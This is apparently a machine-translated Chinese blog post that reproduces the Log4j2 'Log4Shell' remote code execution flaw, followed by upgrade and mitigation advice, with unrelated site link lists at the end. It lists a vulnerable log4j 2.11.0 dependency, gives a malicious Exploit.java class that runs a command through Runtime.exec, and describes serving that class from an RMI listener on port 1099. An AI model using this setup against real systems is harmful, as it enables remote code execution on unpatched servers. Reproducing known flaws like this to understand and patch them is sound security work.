当前位置:网站首页>Teach you to reproduce log4j2 nuclear weapon level vulnerability hand in hand
Teach you to reproduce log4j2 nuclear weapon level vulnerability hand in hand
2022-07-19 05:20:00 【dafeng2773】
brief introduction
In recent days, , Apache Log4j Details of the remote code execution vulnerability are disclosed , Once the vulnerability is exploited by an attacker, it will cause serious harm . After rapid analysis and confirmation , The vulnerability has an extremely wide range of effects , The harm is extremely serious , It is suggested to start emergency response at the first time for repair .
Summary of vulnerability
Apache Log4j2 It's an open source Java Logging tools , A large number of business frameworks use this component . This vulnerability is for Log4j2 Provided lookup Function , This function allows developers to read the configuration in the corresponding environment through some protocols . But in the process of implementation , The input is not strictly judged , Thus causing the occurrence of vulnerabilities .
scope
Apache Log4j 2.x <= 2.15.0-rc1Loophole recurrence
1. Environment building
Create a new maven project , And import Log4j The dependency package of

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.0</version>
</dependency>
</dependencies>2. Exploit , Use Log4jTest.java test

3. Compile a malicious class Exploit.class
First new Exploit.java, And compile it as class file .

class Exploit {
static {
System.err.println("Evil has been there");
try{
String cmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exception e){
e.printStackTrace();
}
}
}4. Hackers create a RMI service , binding Exploit, And execute start 1099 Listening port

5. function Log4jTest.java You can access the malicious class and execute the "calc" command

Repair method
at present ,Apache The official has released a new version to complete the vulnerability repair , Users are advised to conduct self inspection as soon as possible , And upgrade to the latest version in time :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2It is recommended to take the following temporary measures to prevent vulnerabilities at the same time :
add to jvm Launch parameters -Dlog4j2.formatMsgNoLookups=true;
In the application classpath Add below log4j2.component.properties The configuration file , The content of the document is log4j2.formatMsgNoLookups=true;
JDK Use 11.0.1、8u191、7u201、6u211 And above ;
Deploy and use third-party firewall products for security protection .
Reference link :
https://www.bilibili.com/video/BV1FL411E7g3
https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw
Technical communication
The source code is placed in the comment area
Welcome to reprint 、 Collection 、 Gain some praise and support !
边栏推荐
- 2020-10-22
- Solve the problem of inconsistent prediction effect between text detection training model and information model based on paddleocr
- Internship project 3- change owner
- 实习项目1-个性化主页配置
- Network command: network card information, netstat, ARP
- Two or three things to know about operation and maintenance safety
- Internship project 1 - personalized homepage configuration
- Excel导入长数据末尾变000
- Pat class B 1002: write this number
- 小程序editor富文本编辑使用及rich-text解析富文本
猜你喜欢

uni-app 条件编译#ifdef #endif 兼容多个终端

Wechat applet obtains the week, morning, noon and evening of month, year and day

循环赛制日程表问题

redis 源码分析 动态字符串实现(sds)

小程序云开发 上传图片到云存储

小程序云开发表单提交并在页面中获取数据

父组件加scoped有时也会影响子组件

Email (including attachments, Netease, QQ)

ECS deployment web project

Solve the problem of inconsistent prediction effect between text detection training model and information model based on paddleocr
随机推荐
Shell script configures root to login to other hosts without secret
Using JS to realize the second level menu of anjuke and the full version (demonstration of precautions and problem points)
vlookup函数的使用方法及实例
Case summary of rotation chart moving speed (constant speed, slow motion)
实习项目1-个性化主页配置
What are the B domain, m domain and O domain
字幕文件与视频文件对不上的处理方式
LeetCode53. 最大子数组和
分布式注册中心-etcd
Cesium geojson数据的添加与移除
微信小程序 学习笔记
微信小程序云开发使用方法-1
Ucharts chart, pie chart, bar chart and line chart are used in uniapp
Uniapp uses uview to realize folding panel
2.6.2 内存泄漏
手把手教你复现Log4j2核弹级漏洞
Internship project 2 - Homepage configuration - my data module
Continue from the previous issue: the remaining two methods of the rotation chart
获取URL参数的两种方法及location对象的各项获取方式
2020-11-10